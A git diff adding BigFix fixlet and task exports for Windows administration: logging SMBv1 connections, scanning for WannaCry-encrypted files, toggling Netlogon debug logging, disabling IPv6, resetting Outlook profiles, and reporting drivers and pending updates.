+    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 21 Feb 2017 19:43:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// TODO: test added timeout: https://forum.bigfix.com/t/running-a-command-with-a-timeout/15467/26
+// - Get Results:  unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients
+
+// log SMBv1 connections to a file
+runhidden CMD /C (for %i in ({ concatenations " " of items 0 of (it, (set of unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients) | (set of "") ) whose(item 0 of it is not contained by item 1 of it) of (unique values of (it as trimmed string as lowercase) of string values of properties "ServerName" of select objects "Dialect,ServerName from MSFT_SmbConnection" whose ((string value of property "dialect" of it) as version < "2.0") of wmis "Root\Microsoft\Windows\SMB") }) do @echo %~i >> "{ pathnames of folders "Logs" of folders "__Global" of data folders of clients }\results_SMBv1_ServerNames.log")
+
+// The following is to provide timeout functionality in case CMD hangs
+pause while { now < (active start time of active action + 5 * minute) AND exists items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
+
+if {exists items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
+	parameter "KillingItDueToTimeout"="True"
+	waithidden Taskkill /T /F { ("/PID " & it) of concatenations " /PID " of (it as string) of pids of items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
+else
+	parameter "KillingItDueToTimeout"="False"
+endif
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes b/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes
new file mode 100644
index 000000000..b8b457101
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Look for Wanna Cry encrypted files on the C: drive - v1.1
+  ID       : 24312
+  Author   : jasoncordell
+  Domain   : BESC
+  Imported : 2017-05-15T06:19:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Look for Wanna Cry encrypted files on the C: drive - v1.1</Title>
+    <Description><![CDATA[<P>Seach for any files with .wncry extenstions that exist on the C: drive.&nbsp; Old school batch file, so if there are a ton of files, this will take a while and can possibly have a noticable performance impact when it runs.</P>
+<P>This will create a file (<FONT color=#008080><FONT color=#008080><FONT size=2>c:\wannacry_files.txt<FONT color=#000000>) for the search results.&nbsp; There is a corresponding property (Wanna Cry Files - C: Drive) that will parse this file for any files that are found and report the results back up.</FONT></FONT></FONT></FONT></P>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2>This file is expected to have the following two lines.&nbsp; Anymore than that is bad.</FONT></FONT></FONT></P>
+<P>&nbsp;Volume in drive C has no label.<BR>&nbsp;Volume Serial Number is 7A01-AEAF</P>
+<P><BR>&nbsp;</P>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2>There are&nbsp;three expected&nbsp;results returned by the property:</FONT></FONT></FONT></P>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>Wanna Cry Encrypted files found <FONT color=#400040>(this is bad)</FONT></FONT></FONT></FONT></FONT></FONT></P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>No&nbsp;Encrypted Files Found&nbsp;<FONT color=#400040>(results file exists, nothing bad found, scan could still be running though)</FONT></FONT></FONT></FONT></FONT></FONT></P>
+<P>Scan Results File Not Found <FONT color=#400040>(this means you have not executed this task yet)</FONT></P>
+<P>&nbsp;</P></FONT></FONT></FONT></FONT></FONT></FONT></FONT>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;c:\&quot;</Relevance>
+    <Source>Jason Cordell (jcordell@cbihome.com)</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 13:17:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist c:\wannacry_files.txt del c:\wannacry_files.txt /q /f
+waithidden cmd /c dir c:\*.wncry /a /s >c:\wannacry_files.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes
new file mode 100644
index 000000000..a67d04a20
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Net Logon - Disable Debug Logging
+  ID       : 1410
+  Author   : DavidSmith
+  Domain   : BESC
+  Imported : 2013-02-19T12:25:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Net Logon - Disable Debug Logging</Title>
+    <Description><![CDATA[<P>If you are having accounts getting locked out... it is helpful to enable netlogon debug logging to track down where the problem is coming from.&nbsp; This task will enable debug logging on Windows Servers.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
+    <Relevance>exists value &quot;DBFlag&quot; whose (it as integer != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>dsmith</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-02-19</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Feb 2013 18:21:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Disable Debug Logging.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//now configure debug setting
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;=dword:0
+//restart netlogon service
+waithidden net stop &quot;netlogon&quot;
+waithidden net start &quot;netlogon&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1657">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read the Microsoft KB 109626.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/109626</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes
new file mode 100644
index 000000000..47ba34f42
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes	
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Net Logon - Enable Debug Logging
+  ID       : 1409
+  Author   : DavidSmith
+  Domain   : BESC
+  Imported : 2013-02-19T12:25:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Net Logon - Enable Debug Logging</Title>
+    <Description><![CDATA[<P>If you are having accounts getting locked out... it is helpful to enable netlogon debug logging to track down where the problem is coming from.&nbsp; This task will enable debug logging on Windows Servers.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
+    <Relevance>if exists value &quot;DBFlag&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry then exists value &quot;DBFlag&quot; whose (it as integer != 545325055) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry else true</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>dsmith</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-02-19</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Feb 2013 18:22:22 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Enable Debug Logging.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//delete registry setting
+regdelete &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;
+//now configure debug setting
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;=dword:2080FFFF
+//restart netlogon service
+waithidden net stop &quot;netlogon&quot;
+waithidden net start &quot;netlogon&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1657">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read the Microsoft KB 109626.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/109626</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes b/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes
new file mode 100644
index 000000000..5e8df9aeb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Nuke IPv6 - Windows
+  ID       : 27385
+  Author   : Jack
+  Domain   : BESC
+  Imported : 2025-09-09T16:18:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Nuke IPv6 - Windows</Title>
+    <Description>Does what it says on the box</Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-09-09</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 09 Sep 2025 23:05:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg add &quot;HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters&quot; /v DisabledComponents /t REG_DWORD /d 255 /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v Teredo_State /t REG_SZ /d Disabled /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v 6to4_State   /t REG_SZ /d Disabled /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v ISATAP_State /t REG_SZ /d Disabled /f
+
+waithidden cmd.exe /C netsh interface ipv6 uninstall</ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes b/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes
new file mode 100644
index 000000000..0d8ac11c0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : OLDER Version: Create LS alias for DIR command - Windows
+  ID       : 20414
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-04-29T14:53:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>OLDER Version: Create LS alias for DIR command - Windows</Title>
+    <Description>This makes me hate windows less </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folders &quot;C:\ProgramData\chocolatey\bin&quot;</Relevance>
+    <Relevance><![CDATA[exists (";" & it & ";") whose(it contains ";C:\ProgramData\chocolatey\bin;") of (it as string as trimmed string) of values of variables "PATH" of environments]]></Relevance>
+    <Relevance>not exists lines whose(it contains &quot;@dir %25*&quot;) of files &quot;C:\ProgramData\chocolatey\bin\ls.bat&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-04-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Apr 2016 21:24:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// http://stackoverflow.com/questions/9362692/how-to-create-ls-in-windows-command-prompt
+// http://stackoverflow.com/questions/20530996/aliases-in-windows-command-prompt
+
+delete __createfile
+createfile until END_OF_FILE
+@dir %*
+END_OF_FILE
+
+delete C:\ProgramData\chocolatey\bin\ls.bat
+copy __createfile C:\ProgramData\chocolatey\bin\ls.bat
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes b/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes
new file mode 100644
index 000000000..16f30c88d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Outlook Profile Reset
+  ID       : 24867
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2017-12-14T12:09:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Outlook Profile Reset</Title>
+    <Description><![CDATA[<P>This task will close Outlook, Skype, and Teams.&nbsp; It will then&nbsp;delete all mail profiles from the currently logged in user, including OST.&nbsp; The mail profile will need to be set up from scratch.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;C:\Program Files (x86)\Microsoft Office&quot;</Relevance>
+    <Category>Scripting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-12-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 14 Dec 2017 20:01:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
+//action uses wow64 redirection {not x64 of operating system}
+
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM OUTLOOK.EXE
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM lync.exe
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM SkypeHost.exe
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM Teams.exe
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM OneDrive.exe
+
+dos reg delete &quot;HKEY_USERS\{component string of sid of security account (name of logged on user)}\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles&quot; /f
+dos reg delete &quot;HKEY_USERS\{component string of sid of security account (name of logged on user)}\Software\Microsoft\Office\16.0\Outlook\Profiles&quot; /f
+
+folder delete &quot;C:\Users\{name of logged on user}\AppData\Local\Microsoft\Outlook&quot;</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes b/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes
new file mode 100644
index 000000000..823dce41f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Output Drivers using Driverquery - Windows
+  ID       : 6060
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T11:58:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Output Drivers using Driverquery - Windows</Title>
+    <Description><![CDATA[<P>This task will dump the details of the installed windows drivers to log files, which can be reported on using relevance.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists files whose(name of it as lowercase starts with &quot;info_driverquery_&quot; AND name of it as lowercase ends with &quot;.csv&quot;) of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-03-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 18:58:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// delete "{pathname of client folder}\__BESData\__Global\Logs\driverquery.csv"
+dos driverquery /V /fo CSV > "{pathname of folders "Logs" of folders "__Global" of ( (if (exists properties whose(it as string starts with "data folder of " AND it as string contains "client")) then (data folder of client) else NULL)|(folder "/var/opt/BESClient/__BESData")|(folder "/Library/Application Support/BigFix/BES Agent/__BESData")|(folder "__BESData" of parent folder of client) )}\info_driverquery_verbose.csv"
+dos driverquery /SI /fo CSV > "{pathname of folders "Logs" of folders "__Global" of ( (if (exists properties whose(it as string starts with "data folder of " AND it as string contains "client")) then (data folder of client) else NULL)|(folder "/var/opt/BESClient/__BESData")|(folder "/Library/Application Support/BigFix/BES Agent/__BESData")|(folder "__BESData" of parent folder of client) )}\info_driverquery_signed.csv"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes b/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes
new file mode 100644
index 000000000..b7094aa4c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes	
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Output Windows Update Results - Windows
+  ID       : 23123
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-12-23T15:39:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Output Windows Update Results - Windows</Title>
+    <Description><![CDATA[<P>read results with this analysis: <A href="https://github.com/jgstew/bigfix-content/blob/master/analyses/Windows%20Update%20check%20results%20-%20Windows.bes">https://github.com/jgstew/bigfix-content/blob/master/analyses/Windows%20Update%20check%20results%20-%20Windows.bes</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "results_WindowsUpdates.ini" whose(now - modification time of it < 7*day AND exists lines containing "Hidden=" of it) of folders "Logs" of folders "__Global" of data folders of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-12-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Dec 2016 23:36:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// https://github.com/jgstew/tools/blob/master/VBS/WUA_Search.vbs
+delete __createfile
+createfile until _END_OF_FILE_
+
+' This script determines what updates are applicable on a Windows machine using the WUA api.
+' Usage: cscript WUA_Search.vbs //Nologo > WindowsUpdates.ini
+' Source: https://msdn.microsoft.com/en-us/library/windows/desktop/aa387102(v=vs.85).aspx
+' Modifications by @jgstew in 2016 - Public Domain
+
+' It is possible to do this "offline": https://msdn.microsoft.com/en-us/library/windows/desktop/aa387290(v=vs.85).aspx
+
+Set updateSession = CreateObject("Microsoft.Update.Session")
+updateSession.ClientApplicationID = "Check for Windows Updates"
+
+Set updateSearcher = updateSession.CreateUpdateSearcher()
+
+' Method: https://msdn.microsoft.com/en-us/library/windows/desktop/aa386526(v=vs.85).aspx
+Set searchResult = updateSearcher.Search("IsInstalled=0")
+' also works as a single line: Set searchResult = CreateObject("Microsoft.Update.Session").CreateUpdateSearcher().Search("IsInstalled=0")
+
+WScript.Echo "[Windows Updates]" & vbCRLF & "Number= " & searchResult.Updates.Count
+
+numHidden   = 0
+numSoftware = 0
+numDriver   = 0
+
+For I = 0 To searchResult.Updates.Count-1
+' IUpdate interface: https://msdn.microsoft.com/en-us/library/windows/desktop/aa386099(v=vs.85).aspx
+    Set update = searchResult.Updates.Item(I)
+
+    ' Update Type Enum: https://msdn.microsoft.com/en-us/library/windows/desktop/aa387284(v=vs.85).aspx
+    updateTypeStr = "Unknown"
+    If 1=update.Type Then
+        updateTypeStr = "Software"
+        numSoftware   = numSoftware + 1
+    ElseIf 2=update.Type Then
+        updateTypeStr = "Driver"
+        numDriver     = numDriver + 1
+    End If
+
+    WScript.Echo updateTypeStr & I + 1 & "= " & update.Title
+
+    If update.IsHidden Then
+        numHidden = numHidden + 1
+    End If
+Next
+
+WScript.Echo "Hidden= " & numHidden
+WScript.Echo "Software= " & numSoftware
+WScript.Echo "Driver= " & numDriver
+
+' Related:
+'     - https://thwack.solarwinds.com/community/application-and-server_tht/patchzone/blog/2012/10/05/how-the-windows-update-agent-determines-the-status-of-an-update
+'     - https://bigfix.me/fixlet/details/23096
+'     - https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes
+
+_END_OF_FILE_
+
+delete "{ download path "WUA_Search.vbs" }"
+move __createfile "{ download path "WUA_Search.vbs" }"
+
+waithidden cmd /c cscript __Download\WUA_Search.vbs //Nologo > __Download\results_WindowsUpdates.ini
+
+delete "{pathnames of folders "__Global\Logs" of data folders of client}\results_WindowsUpdates.ini"
+move __Download\results_WindowsUpdates.ini "{pathnames of folders "__Global\Logs" of data folders of client}\results_WindowsUpdates.ini"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes
new file mode 100644
index 000000000..0bf522b52
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7
+  ID       : 312
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:14:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P>By default, systems on standby that are&nbsp;woken by&nbsp;a Wake-on-LAN or Wake-from-Standby event will go back to sleep in two minutes if the system does not receive any user input. This may cause a condition called "PC Narcolepsy" where the computer will fall back asleep before tasks can be run on that system.</P> <P>Use this Fixlet to configure the amount of time&nbsp;the system will stay&nbsp;awake after recieving a&nbsp;Wake-on-LAN or Wake-from-Standby event on Windows Vista and Windows 7 systems. This setting is called the "System Unattended Sleep Timeout".</P> <P><STRONG>Note:</STRONG> This task only changes the System Unattended Sleep Timeout setting on the current power profile. If the power profile is changed, this task may need to be reapplied.</P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>(it = &quot;WinVista&quot; OR it = &quot;Win7&quot;) of name of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "7.2"]]></Relevance>
+    <Category>Standby Behavior</Category>
+    <Source>BigFix</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
